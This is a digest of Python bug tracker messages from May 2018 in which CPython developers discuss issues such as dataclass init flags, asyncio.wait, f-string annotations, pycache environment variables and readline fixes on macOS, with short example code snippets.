type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 16:48:40 2018 From: report at bugs.python.org (Eric V. Smith) Date: Wed, 16 May 2018 20:48:40 +0000 Subject: [issue33539] Remove `init` flag from @dataclass? In-Reply-To: <1526482393.81.0.682650639539.issue33539@psf.upfronthosting.co.za> Message-ID: <1526503720.38.0.682650639539.issue33539@psf.upfronthosting.co.za> Eric V. Smith added the comment: The concern is that you've created an awesome base class, and you've written 500 dataclasses that are derived from it, but you want to use the base class's __init__ for all 500. Do you really want to add a __init__ to each of the 500 classes? We're trying to reduce boilerplate! Again, I'm not saying it's likely. The comment about fields(self) is meant to say that they could be inspecting the derived class to figure out which field to set. Something like: class B: def __init__(self, a, b, c): first_field = next(iter(fields(self))) setattr(self, first_field.name, a+b+c) mydataclass = dataclass(init=False) @mydataclass class C(B): i: int @mydataclass class D(B): j: int print(C(1, 2, 3)) print(D(4, 5, 6)) produces: C(i=6) D(j=15) That is, the base class could legitimately being doing something with the derived class fields, and you might want to move all of the logic in to a base class. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 16:49:09 2018 From: report at bugs.python.org (=?utf-8?b?SHJ2b2plIE5pa8WhacSH?=) Date: Wed, 16 May 2018 20:49:09 +0000 Subject: [issue33403] asyncio.tasks.wait does not allow to set custom exception when return_when=FIRST_EXCEPTION In-Reply-To: <1526442166.13.0.682650639539.issue33403@psf.upfronthosting.co.za> Message-ID: <1526503749.67.0.682650639539.issue33403@psf.upfronthosting.co.za> Hrvoje Nik?i? added the comment: """ At the moment this can be done but it will cancel all the coroutines with any exception that is raised and at some occasions this may not be desired. """ Does wait() really "cancel all the coroutines"? The documentation doesn't mention wait() canceling anything it only returns them in the `pending` set. It is gather() and wait_for() that cancel automatically. If you want to cancel everything on some exception and not on another, you can easily implement the logic yourself, e.g: tasks = [asyncio.ensure_future(example(x)) for x in range(20)] done, pending = await asyncio.wait(tasks, return_when=FIRST_EXCEPTION) for fut in done: try: fut.result() except CancelException: for fut in pending: fut.cancel() ---------- nosy: +hniksic _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 16:57:59 2018 From: report at bugs.python.org (Rolf Campbell) Date: Wed, 16 May 2018 20:57:59 +0000 Subject: [issue33547] Relative imports do not replace local variables In-Reply-To: <1526503619.08.0.682650639539.issue33547@psf.upfronthosting.co.za> Message-ID: <1526504279.73.0.682650639539.issue33547@psf.upfronthosting.co.za> Rolf Campbell added the comment: Under simple circumstances, this is only reproducible when either directly in an interactive Python session (or as -c), but I encountered this type of problem in a much more complicated project which was NOT running as part of an interactive Python session (or as part of a -c argument). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 17:05:19 2018 From: report at bugs.python.org (Steve Dower) Date: Wed, 16 May 2018 21:05:19 +0000 Subject: [issue33548] tempfile._candidate_tempdir_list should consider common TEMP locations Message-ID: <1526504719.45.0.682650639539.issue33548@psf.upfronthosting.co.za> New submission from Steve Dower : In Lib/tempfile.py, we currently look at some non-standard Windows-specific locations to find potential TEMP directories, but we should also look in the more common user and system ones. ---------- assignee: steve.dower components: Windows messages: 316868 nosy: paul.moore, steve.dower, tim.golden, zach.ware priority: normal pull_requests: 6590 severity: normal stage: patch review status: open title: tempfile._candidate_tempdir_list should consider common TEMP locations type: enhancement versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 17:09:04 2018 From: report at bugs.python.org (Xavier de Gaye) Date: Wed, 16 May 2018 21:09:04 +0000 Subject: [issue32392] subprocess.run documentation does not have **kwargs In-Reply-To: <1513802831.78.0.213398074469.issue32392@psf.upfronthosting.co.za> Message-ID: <1526504944.34.0.682650639539.issue32392@psf.upfronthosting.co.za> Xavier de Gaye added the comment: > Let's add 'env=None' to the signature of subprocess.run(): +1 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 17:12:05 2018 From: report at bugs.python.org (Alexander Belopolsky) Date: Wed, 16 May 2018 21:12:05 +0000 Subject: [issue32604] Expose the subinterpreters C-API in Python for testing use. In-Reply-To: <1516413482.13.0.467229070634.issue32604@psf.upfronthosting.co.za> Message-ID: <1526505125.97.0.682650639539.issue32604@psf.upfronthosting.co.za> Change by Alexander Belopolsky : ---------- nosy: +belopolsky _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 17:12:55 2018 From: report at bugs.python.org (Barry A. Warsaw) Date: Wed, 16 May 2018 21:12:55 +0000 Subject: [issue33539] Remove `init` flag from @dataclass? In-Reply-To: <1526503720.38.0.682650639539.issue33539@psf.upfronthosting.co.za> Message-ID: <27DD04D4-035E-4C71-949A-816CE777DA3F@python.org> Barry A. Warsaw added the comment: On May 16, 2018, at 16:48, Eric V. Smith wrote: > Do you really want to add a __init__ to each of the 500 classes? Well, of course *I* do, but I?m weird like that. > That is, the base class could legitimately being doing something with the derived class fields, and you might want to move all of the logic in to a base class. Yeah, I can see the points. I think if these are use cases we want to support, maybe we should describe them in the documentation as justifications for the keyword arguments. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 17:26:23 2018 From: report at bugs.python.org (Zvi Effron) Date: Wed, 16 May 2018 21:26:23 +0000 Subject: [issue26819] _ProactorReadPipeTransport pause_reading()/resume_reading() broken if called before any read is perfored In-Reply-To: <1461260041.01.0.731551553745.issue26819@psf.upfronthosting.co.za> Message-ID: <1526505983.58.0.682650639539.issue26819@psf.upfronthosting.co.za> Change by Zvi Effron : ---------- keywords: +patch pull_requests: +6591 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 17:27:28 2018 From: report at bugs.python.org (Zvi Effron) Date: Wed, 16 May 2018 21:27:28 +0000 Subject: [issue33542] _ipconfig_getnode incorrectly selects a DUID as a MAC address In-Reply-To: <1526487656.13.0.682650639539.issue33542@psf.upfronthosting.co.za> Message-ID: <1526506048.1.0.682650639539.issue33542@psf.upfronthosting.co.za> Change by Zvi Effron : ---------- keywords: +patch pull_requests: +6592 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 17:33:46 2018 From: report at bugs.python.org (Matthias Bussonnier) Date: Wed, 16 May 2018 21:33:46 +0000 Subject: [issue33549] xmlbuilder's `_AsyncDeprecatedProperty` make no sens now that async is a keyword. Message-ID: <1526506426.18.0.682650639539.issue33549@psf.upfronthosting.co.za> New submission from Matthias Bussonnier : `Lib/xml/dom/xmlbuilder's DocumentLS try to catch the use of `obj.asyc` and warn that it's now `obj.async_`. Though now that async is a proper keyword `obj.async` is anyway SyntaxError, so the warning will likely almost never be displayed. I guess one could still use getattr/setattr, but I doubt this is the most common use case this was meant to prevent. ---------- messages: 316871 nosy: mbussonn priority: normal severity: normal status: open title: xmlbuilder's `_AsyncDeprecatedProperty` make no sens now that async is a keyword. _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 17:40:02 2018 From: report at bugs.python.org (R. David Murray) Date: Wed, 16 May 2018 21:40:02 +0000 Subject: [issue33547] Relative imports do not replace local variables In-Reply-To: <1526503619.08.0.682650639539.issue33547@psf.upfronthosting.co.za> Message-ID: <1526506802.22.0.682650639539.issue33547@psf.upfronthosting.co.za> R. David Murray added the comment: It's importing 'a' from '.', which I guess in this context means from the current namespace (__main__), and a is 7. You'll note that 'b' did get repointed, but it got repointed to what 'a' points to, instead of to 5. If it really wasn't replacing the local, you'd get '7 5', not '7 7'. So, this is weird but expected, I think. You'll have to actually produce the example that doesn't involve __main__ if you want us to look in to that, but most likely it will be some similar phenomenon. I'm not 100% sure this is the *desired* behavior of 'from . import', though, so I'm leaving this open for the import experts to look at. Also, in 3.8 at least I get a warning from the import system, which is a clue something weird is going on :) ---------- nosy: +brett.cannon, eric.snow, ncoghlan, r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 17:50:38 2018 From: report at bugs.python.org (Steve Dower) Date: Wed, 16 May 2018 21:50:38 +0000 Subject: [issue33522] Enable CI builds on Visual Studio Team Services In-Reply-To: <1526400954.34.0.682650639539.issue33522@psf.upfronthosting.co.za> Message-ID: <1526507438.76.0.682650639539.issue33522@psf.upfronthosting.co.za> Steve Dower added the comment: New changeset e5f41d2f1e0b8b8e61d5fa427c19bd1ea90fd9a3 by Steve Dower in branch 'master': bpo-33522: Enable CI builds on Visual Studio Team Services (#6865) https://github.com/python/cpython/commit/e5f41d2f1e0b8b8e61d5fa427c19bd1ea90fd9a3 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 17:51:39 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 16 May 2018 21:51:39 +0000 Subject: [issue33522] Enable CI builds on Visual Studio Team Services In-Reply-To: <1526400954.34.0.682650639539.issue33522@psf.upfronthosting.co.za> Message-ID: <1526507499.65.0.682650639539.issue33522@psf.upfronthosting.co.za> Change by miss-islington : ---------- keywords: +patch pull_requests: +6593 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 18:01:12 2018 From: report at bugs.python.org (Matthias Bussonnier) Date: Wed, 16 May 2018 22:01:12 +0000 Subject: [issue33549] xmlbuilder's `_AsyncDeprecatedProperty` make no sens now that async is a keyword. In-Reply-To: <1526506426.18.0.682650639539.issue33549@psf.upfronthosting.co.za> Message-ID: <1526508072.18.0.682650639539.issue33549@psf.upfronthosting.co.za> Change by Matthias Bussonnier : ---------- keywords: +patch pull_requests: +6594 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 18:07:21 2018 From: report at bugs.python.org (Steve Dower) Date: Wed, 16 May 2018 22:07:21 +0000 Subject: [issue33522] Enable CI builds on Visual Studio Team Services In-Reply-To: <1526400954.34.0.682650639539.issue33522@psf.upfronthosting.co.za> Message-ID: <1526508441.13.0.682650639539.issue33522@psf.upfronthosting.co.za> Change by Steve Dower : ---------- pull_requests: +6595 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 18:16:31 2018 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 16 May 2018 22:16:31 +0000 Subject: [issue33499] Environment variable to set alternate location for pycache tree In-Reply-To: <1526310769.71.0.682650639539.issue33499@psf.upfronthosting.co.za> Message-ID: <1526508991.61.0.682650639539.issue33499@psf.upfronthosting.co.za> Raymond Hettinger added the comment: > Environment variables aren't system-wide, they are > per-process (though they can be inherited by child processes). Yes, that is how they work. It is not how they are used. Environment variables are commonly set in shell start-up scripts such as .bashrc and the results then affect every python application that gets run in any shell session. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 18:19:54 2018 From: report at bugs.python.org (Barry A. Warsaw) Date: Wed, 16 May 2018 22:19:54 +0000 Subject: [issue33499] Environment variable to set alternate location for pycache tree In-Reply-To: <1526439484.66.0.682650639539.issue33499@psf.upfronthosting.co.za> Message-ID: <849F6F88-2608-44DA-94B9-63CDD664A666@python.org> Barry A. Warsaw added the comment: On May 15, 2018, at 22:58, Carl Meyer wrote: > Our use case includes a webserver process that embeds Python; I'm not sure if we could pass a CLI arg to it or not. I think you pretty much have to have an environment variable, as there are just too many places where you?re going to invoke Python without the ability to set the command line. We have precedence for having both a switch and environment variable, and I think that makes sense here. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 18:21:15 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 16 May 2018 22:21:15 +0000 Subject: [issue33522] Enable CI builds on Visual Studio Team Services In-Reply-To: <1526400954.34.0.682650639539.issue33522@psf.upfronthosting.co.za> Message-ID: <1526509275.92.0.682650639539.issue33522@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6596 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 19:46:42 2018 From: report at bugs.python.org (Petr Viktorin) Date: Wed, 16 May 2018 23:46:42 +0000 Subject: [issue1322] Deprecate platform.dist() and platform.linux_distribution() functions In-Reply-To: <1193246464.1.0.269134020057.issue1322@psf.upfronthosting.co.za> Message-ID: <1526514402.88.0.682650639539.issue1322@psf.upfronthosting.co.za> Petr Viktorin added the comment: For the record, I opened an issue on `distro` about the vicious circle of distro detection instead of feature detection: https://github.com/nir0s/distro/issues/221 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 19:55:52 2018 From: report at bugs.python.org (Alfred Perlstein) Date: Wed, 16 May 2018 23:55:52 +0000 Subject: [issue33550] Sigpipe handling issue should be documented Message-ID: <1526514952.03.0.682650639539.issue33550@psf.upfronthosting.co.za> New submission from Alfred Perlstein : A common anti-pattern in python used to get rid of "ugly" brokenpipe messages is to set the SIGPIPE handler to SIG_DFL, this however will cause your program to seemingly randomly exit if it makes any socket connections during its lifetime. (see github PR for more info) ---------- assignee: docs at python components: Documentation messages: 316877 nosy: docs at python, splbio priority: normal pull_requests: 6597 severity: normal status: open title: Sigpipe handling issue should be documented type: behavior versions: Python 2.7, Python 3.4, Python 3.5, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 21:05:24 2018 From: report at bugs.python.org (Guido van Rossum) Date: Thu, 17 May 2018 01:05:24 +0000 Subject: [issue33539] Remove `init` flag from @dataclass? In-Reply-To: <1526482393.81.0.682650639539.issue33539@psf.upfronthosting.co.za> Message-ID: <1526519124.94.0.682650639539.issue33539@psf.upfronthosting.co.za> Guido van Rossum added the comment: I find it a satisfying outcome that we decided *not* to remove this in the last week before rc1. While it's true that dataclasses are a new feature in 3.7.0, considerable effort went into stabilizing the betas. Let's close this issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 21:12:31 2018 From: report at bugs.python.org (Eric V. Smith) Date: Thu, 17 May 2018 01:12:31 +0000 Subject: [issue33539] Remove `init` flag from @dataclass? In-Reply-To: <1526482393.81.0.682650639539.issue33539@psf.upfronthosting.co.za> Message-ID: <1526519551.93.0.682650639539.issue33539@psf.upfronthosting.co.za> Eric V. Smith added the comment: Okay. I'm sure Ned is relieved! ---------- priority: release blocker -> resolution: -> wont fix stage: -> resolved status: open -> closed type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 21:53:56 2018 From: report at bugs.python.org (Brian Sheldon) Date: Thu, 17 May 2018 01:53:56 +0000 Subject: [issue33428] pathlib.Path.glob does not follow symlinks In-Reply-To: <1525501380.69.0.682650639539.issue33428@psf.upfronthosting.co.za> Message-ID: <1526522036.66.0.682650639539.issue33428@psf.upfronthosting.co.za> Brian Sheldon added the comment: Windows does not implement symlinks as junctions. Windows has hardlinks, symlinks and junctions which are all distinctly different in behaviour. I don't doubt that this is a Windows-specific issue, although I have not tested other platforms. Path.glob and .rglob does work for junctions and hardlinks but glob.glob works consistently for all three. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 16 23:17:53 2018 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Thu, 17 May 2018 03:17:53 +0000 Subject: [issue33475] Fix converting AST expression to string and optimize parenthesis In-Reply-To: <1526163754.81.0.682650639539.issue33475@psf.upfronthosting.co.za> Message-ID: <1526527073.66.0.682650639539.issue33475@psf.upfronthosting.co.za> ?ukasz Langa added the comment: New changeset 64fddc423fcbe90b8088446c63385ec0aaf3077c by ?ukasz Langa (Serhiy Storchaka) in branch 'master': bpo-33475: Fix and improve converting annotations to strings. (GH-6774) https://github.com/python/cpython/commit/64fddc423fcbe90b8088446c63385ec0aaf3077c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 01:51:33 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 17 May 2018 05:51:33 +0000 Subject: [issue33051] IDLE: Create new tab for editor options in configdialog In-Reply-To: <1520796379.91.0.467229070634.issue33051@psf.upfronthosting.co.za> Message-ID: <1526536293.61.0.682650639539.issue33051@psf.upfronthosting.co.za> Terry J. Reedy added the comment: I expected that this would be needed eventually. Any particular reason why now? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 02:25:08 2018 From: report at bugs.python.org (Aifu LIU) Date: Thu, 17 May 2018 06:25:08 +0000 Subject: [issue33551] The string prefixes u and f can't used together Message-ID: <1526538308.93.0.682650639539.issue33551@psf.upfronthosting.co.za> New submission from Aifu LIU : The string prefixes u and f can't used together, for example: >>> age = 30 >>> s = uf'???{age}' File "", line 1 s = uf'???{age}' ^ SyntaxError: invalid syntax >>> ---------- components: Unicode messages: 316883 nosy: Aifu LIU, ezio.melotti, vstinner priority: normal severity: normal status: open title: The string prefixes u and f can't used together type: crash versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 02:38:52 2018 From: report at bugs.python.org (Benjamin Peterson) Date: Thu, 17 May 2018 06:38:52 +0000 Subject: [issue33551] The string prefixes u and f can't used together In-Reply-To: <1526538308.93.0.682650639539.issue33551@psf.upfronthosting.co.za> Message-ID: <1526539132.01.0.682650639539.issue33551@psf.upfronthosting.co.za> Benjamin Peterson added the comment: Why would you want to do that? ---------- nosy: +benjamin.peterson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 02:45:07 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 17 May 2018 06:45:07 +0000 Subject: [issue33475] Fix converting AST expression to string and optimize parenthesis In-Reply-To: <1526163754.81.0.682650639539.issue33475@psf.upfronthosting.co.za> Message-ID: <1526539507.81.0.682650639539.issue33475@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- pull_requests: +6598 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 02:45:13 2018 From: report at bugs.python.org (Ned Deily) Date: Thu, 17 May 2018 06:45:13 +0000 Subject: [issue13631] readline fails to parse some forms of .editrc under editline (libedit) emulation on Mac OS X In-Reply-To: <1324267597.43.0.334578978638.issue13631@psf.upfronthosting.co.za> Message-ID: <1526539513.01.0.682650639539.issue13631@psf.upfronthosting.co.za> Ned Deily added the comment: New changeset c2f082e9d164acfa8f96de9526f0f47ae92c426a by Ned Deily (Zvezdan Petkovic) in branch 'master': bpo-13631: Fix the order of initialization for readline libedit on macOS. (GH-6915) https://github.com/python/cpython/commit/c2f082e9d164acfa8f96de9526f0f47ae92c426a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 02:45:25 2018 From: report at bugs.python.org (miss-islington) Date: Thu, 17 May 2018 06:45:25 +0000 Subject: [issue13631] readline fails to parse some forms of .editrc under editline (libedit) emulation on Mac OS X In-Reply-To: <1324267597.43.0.334578978638.issue13631@psf.upfronthosting.co.za> Message-ID: <1526539525.38.0.682650639539.issue13631@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6599 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 02:58:45 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 17 May 2018 06:58:45 +0000 Subject: [issue33521] Add 1.32x faster C implementation of asyncio.isfuture(). In-Reply-To: <1526398292.34.0.682650639539.issue33521@psf.upfronthosting.co.za> Message-ID: <1526540325.97.0.682650639539.issue33521@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- nosy: +vstinner versions: -Python 3.6, Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 03:03:06 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 17 May 2018 07:03:06 +0000 Subject: [issue33552] f-strings and string annotations Message-ID: <1526540586.49.0.682650639539.issue33552@psf.upfronthosting.co.za> New submission from Serhiy Storchaka : There are problems with converting annotations containing f-strings into strings (from __future__ import annotations). For example f'''{"'"}''' is converted to f'{"\'"}', but the latter is a syntax error. >>> from __future__ import annotations >>> x: f'''{"'"}''' >>> print(__annotations__['x']) f'{"\'"}' >>> x: f'{"\'"}' File "", line 1 SyntaxError: f-string expression part cannot include a backslash More complex examples: f"""{"'''"}""" f"""{"'" '"'}""" f"""{"'''"}""" f'''{'"""'}''' ---------- components: Interpreter Core messages: 316886 nosy: eric.smith, lukasz.langa, serhiy.storchaka priority: normal severity: normal status: open title: f-strings and string annotations type: behavior versions: Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 03:03:45 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 17 May 2018 07:03:45 +0000 Subject: [issue33475] Fix converting AST expression to string and optimize parenthesis In-Reply-To: <1526163754.81.0.682650639539.issue33475@psf.upfronthosting.co.za> Message-ID: <1526540625.71.0.682650639539.issue33475@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: There are still problems with f-strings like f'''{"'"}''' => f'{"\'"}' (SyntaxError: f-string expression part cannot include a backslash). But this is a separate hard issue (issue33552). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 03:07:40 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 17 May 2018 07:07:40 +0000 Subject: [issue33513] incorrect detection of information of some distributions python2 In-Reply-To: <1526367551.54.0.682650639539.issue33513@psf.upfronthosting.co.za> Message-ID: <1526540860.28.0.682650639539.issue33513@psf.upfronthosting.co.za> STINNER Victor added the comment: Oh wow. That looks more like a new feature than a bugfix or short cleanup. I'm not sure that it's ok to do it in Python 2. platform.linux_distribution() is deprecated since Python 3.5 and just has been removed from Python 3.8: see bpo-28167. I suggest to close this issue as WONTFIX, sorry. ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 03:08:09 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 17 May 2018 07:08:09 +0000 Subject: [issue28167] remove platform.linux_distribution() In-Reply-To: <1473933007.75.0.131793274646.issue28167@psf.upfronthosting.co.za> Message-ID: <1526540889.34.0.682650639539.issue28167@psf.upfronthosting.co.za> STINNER Victor added the comment: Can you please have a look at bpo-33513 which is for Python 2.7: "incorrect detection of information of some distributions python2"? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 03:10:00 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 17 May 2018 07:10:00 +0000 Subject: [issue33551] The string prefixes u and f can't used together In-Reply-To: <1526538308.93.0.682650639539.issue33551@psf.upfronthosting.co.za> Message-ID: <1526541000.63.0.682650639539.issue33551@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: The string prefix u is used exclusively for compatibility with Python 2. It helps writing code that works in Python 2 and Python 3. The string prefix f is not compatible with Python 2. If you use it, you no longer have reasons for using the string prefix u. ---------- nosy: +serhiy.storchaka resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 03:11:11 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 17 May 2018 07:11:11 +0000 Subject: [issue33513] incorrect detection of information of some distributions python2 In-Reply-To: <1526367551.54.0.682650639539.issue33513@psf.upfronthosting.co.za> Message-ID: <1526541071.81.0.682650639539.issue33513@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- resolution: -> wont fix stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 03:13:16 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 17 May 2018 07:13:16 +0000 Subject: [issue33507] Improving the html rendered by cgitb.html In-Reply-To: <1526331345.66.0.682650639539.issue33507@psf.upfronthosting.co.za> Message-ID: <1526541196.05.0.682650639539.issue33507@psf.upfronthosting.co.za> STINNER Victor added the comment: It's difficult to discuss colors, maybe because I'm partially colorblind :-), each people has different taste. Instead of hardcoding colors, would it be better to use CSS instead. ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 03:15:18 2018 From: report at bugs.python.org (Derek Kim) Date: Thu, 17 May 2018 07:15:18 +0000 Subject: [issue33553] possible documentation improvement proposal for multiprocessing Message-ID: <1526541318.79.0.682650639539.issue33553@psf.upfronthosting.co.za> New submission from Derek Kim : >>> from multiprocessing import Pool >>> p = Pool(5) >>> def f(x): ... return x*x ... >>> p.map(f, [1,2,3]) This example in the document is confusing because this is already wrong code when run with fork method even if you run it as a script. With fork start method, f should be defined before p is created. Also, just advising that one shouldn't use interactive shell and should run multiprocessing code in if __name__ == '__main__' is not informative becuase those conditions are generally no problem with fork method. Can I try improving the documentation? ---------- assignee: docs at python components: Documentation messages: 316892 nosy: Derek Kim, docs at python priority: normal severity: normal status: open title: possible documentation improvement proposal for multiprocessing versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 03:16:56 2018 From: report at bugs.python.org (Derek Kim) Date: Thu, 17 May 2018 07:16:56 +0000 Subject: [issue33553] Documentation improvement proposal for multiprocessing In-Reply-To: <1526541318.79.0.682650639539.issue33553@psf.upfronthosting.co.za> Message-ID: <1526541416.55.0.682650639539.issue33553@psf.upfronthosting.co.za> Change by Derek Kim : ---------- title: possible documentation improvement proposal for multiprocessing -> Documentation improvement proposal for multiprocessing _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 03:17:49 2018 From: report at bugs.python.org (Derek Kim) Date: Thu, 17 May 2018 07:17:49 +0000 Subject: [issue33553] Documentation improvement proposal for multiprocessing In-Reply-To: <1526541318.79.0.682650639539.issue33553@psf.upfronthosting.co.za> Message-ID: <1526541469.83.0.682650639539.issue33553@psf.upfronthosting.co.za> Derek Kim added the comment: https://docs.python.org/3.8/library/multiprocessing.html#multiprocessing-programming here is the link to the document. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 03:27:35 2018 From: report at bugs.python.org (Ned Deily) Date: Thu, 17 May 2018 07:27:35 +0000 Subject: [issue13631] readline fails to parse some forms of .editrc under editline (libedit) emulation on Mac OS X In-Reply-To: <1324267597.43.0.334578978638.issue13631@psf.upfronthosting.co.za> Message-ID: <1526542055.61.0.682650639539.issue13631@psf.upfronthosting.co.za> Ned Deily added the comment: New changeset d504108a88bd14a560dec875df682f4e581490e5 by Ned Deily (Miss Islington (bot)) in branch '3.7': bpo-13631: Fix the order of initialization for readline libedit on macOS. (GH-6915) (GH-6928) https://github.com/python/cpython/commit/d504108a88bd14a560dec875df682f4e581490e5 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 03:33:38 2018 From: report at bugs.python.org (Ned Deily) Date: Thu, 17 May 2018 07:33:38 +0000 Subject: [issue13631] readline fails to parse some forms of .editrc under editline (libedit) emulation on Mac OS X In-Reply-To: <1324267597.43.0.334578978638.issue13631@psf.upfronthosting.co.za> Message-ID: <1526542418.04.0.682650639539.issue13631@psf.upfronthosting.co.za> Ned Deily added the comment: Thanks for the patch and PR, Zvezdan! Merged for 3.7.0 and 3.8.0. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.8 -Python 2.7, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 03:52:00 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 17 May 2018 07:52:00 +0000 Subject: [issue33518] Add PEP to glossary In-Reply-To: <1526389344.41.0.682650639539.issue33518@psf.upfronthosting.co.za> Message-ID: <1526543520.6.0.682650639539.issue33518@psf.upfronthosting.co.za> STINNER Victor added the comment: New changeset d5f144260886959c1fe06bc4506a23fd10f92348 by Victor Stinner (Andr?s Delfino) in branch 'master': bpo-33518: Add PEP entry to documentation glossary (GH-6860) https://github.com/python/cpython/commit/d5f144260886959c1fe06bc4506a23fd10f92348 ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 04:15:45 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 17 May 2018 08:15:45 +0000 Subject: [issue33549] xmlbuilder's `_AsyncDeprecatedProperty` make no sens now that async is a keyword. In-Reply-To: <1526506426.18.0.682650639539.issue33549@psf.upfronthosting.co.za> Message-ID: <1526544945.45.0.682650639539.issue33549@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- components: +Library (Lib), XML versions: +Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 04:16:15 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 17 May 2018 08:16:15 +0000 Subject: [issue33549] xmlbuilder's `_AsyncDeprecatedProperty` make no sens now that async is a keyword. In-Reply-To: <1526506426.18.0.682650639539.issue33549@psf.upfronthosting.co.za> Message-ID: <1526544975.17.0.682650639539.issue33549@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset f90f5d5c1d95721e0ca0b1c302e3d13ed34753a8 by Serhiy Storchaka (Matthias Bussonnier) in branch 'master': bpo-33549: Remove shim and deprecation warning to access DocumentLS.async. (GH-6924) https://github.com/python/cpython/commit/f90f5d5c1d95721e0ca0b1c302e3d13ed34753a8 ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 04:16:22 2018 From: report at bugs.python.org (miss-islington) Date: Thu, 17 May 2018 08:16:22 +0000 Subject: [issue33549] xmlbuilder's `_AsyncDeprecatedProperty` make no sens now that async is a keyword. In-Reply-To: <1526506426.18.0.682650639539.issue33549@psf.upfronthosting.co.za> Message-ID: <1526544982.61.0.682650639539.issue33549@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6600 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 04:23:44 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 17 May 2018 08:23:44 +0000 Subject: [issue26819] _ProactorReadPipeTransport pause_reading()/resume_reading() broken if called before any read is perfored In-Reply-To: 